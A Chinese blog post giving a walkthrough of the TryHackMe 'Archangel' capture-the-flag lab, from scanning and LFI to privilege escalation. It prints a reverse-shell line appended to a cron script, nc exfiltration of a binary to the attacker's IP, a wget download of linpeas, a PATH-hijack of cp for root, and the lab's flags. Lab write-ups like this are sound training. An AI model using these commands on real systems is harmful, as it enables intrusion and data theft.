[Day19] THM Archangel

Recon

  • 起手式,扫 Port rustscan -a 10.10.163.60

    • 80 , 22
  • 扫路径 python3 dirsearch.py -u http://10.10.163.60/ -e all

  • 观察网页首页,发现里面有 /flag

Dfferent Hostname

  • 题目提示 : Find a different hostname

    • 可以观察 mafialive.thm
  • sudo vim /etc/hosts

  • 再扫一次路径python3 dirsearch.py -u http://mafialive.thm/ -e all

LFI

Shell

  • 使用 python 让 terminal 变漂亮
    • python3 -c 'import pty; pty.spawn("/bin/bash")'
  • 找 user flag
    • thm{lf1_t0_rc3_1s_tr1cky}
  • 找到使用者资料夹内有 passwordbackup
    • ㄍ......再一次
    • 等......等等,不会吧
    • 该不会那个网址真 TM 是他的密码 ?__?
      • 好的,好险不是

提权

  • 使用 Linpeas 扫

    • wget 10.13.21.55:8000/linpeas.sh
    • bash linpeas.sh
      • 找到一个可疑的 cron job
      • 发现 这个 cron 会使用 archangel 来执行,而且我们对 /opt/helloworld.sh有读写权限
      • 写入 reverse shell
      • echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" >> /opt/helloworld.sh
  • 等待一分钟後,自动接上!!

    • 找到 flag
      • thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
  • 观察使用者中的 secret 资料夹中

    • 有一个 backup 档案有 suid
  • 透过 nc 把档案传出来

    • 监听端 nc -l -p 1234 > meow
    • 发送端 nc 10.13.21.55 1234 < backup
  • 哼!这种等级的 reverse,连 ida 都不用开,我们用 r2 就好ㄌ

    • r2 meow
    • aaa
    • s main
    • VV
    • 可以看到他会用 system call 一个 cp
    • 而 cp 没有写绝对路径,所以可以用 path 进行误导

PATH 欺骗

  • 在家目录创一个 fakepath
    • mkdir fakepath
    • export PATH=/home/archangel/fakepath:$PATH
  • 准备一个假的 cp 档案
    • echo '#!/bin/bash' > cp
    • echo "/bin/bash" >> cp
    • chmod +x cp
  • 执行 backup
    • ./backup
  • 取得 root 权限 !!
      • thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}

<<:  成为我们的夥伴,一起航向伟大的航道吧

>>:  [Day19] Cloud VPN

卡夫卡的藏书阁【Book3】- Kafka 讯息与主题 Record and Topic

半夜的苹果发表会,想起了贾伯斯的那句“Stay Hungry. Stay Foolish” “Yo...

【心得分享】第一周心得分享(4/12~4/18)

有兴趣的朋友可以点选以下连结,看到我这周撰写「系统分析师养成之路」的心得: https://itun...

CSS Of Norton Antivirus By InstallNSetup.Com

Online threats, such as spyware, phishing and iden...

Day15 - 在 Next.js 做 JWT 验证,使用既有的 Backend API - PART 1

NextAuth + JWT authentication 虽然 Next.js 的定位是一个全端框...

[Day30] 30 天 Java 从陌生到更陌生

终於来到最後一天了!!还记得这个教程的名字为「30 天 Java 从陌生到更陌生」吗? 为什麽会「更...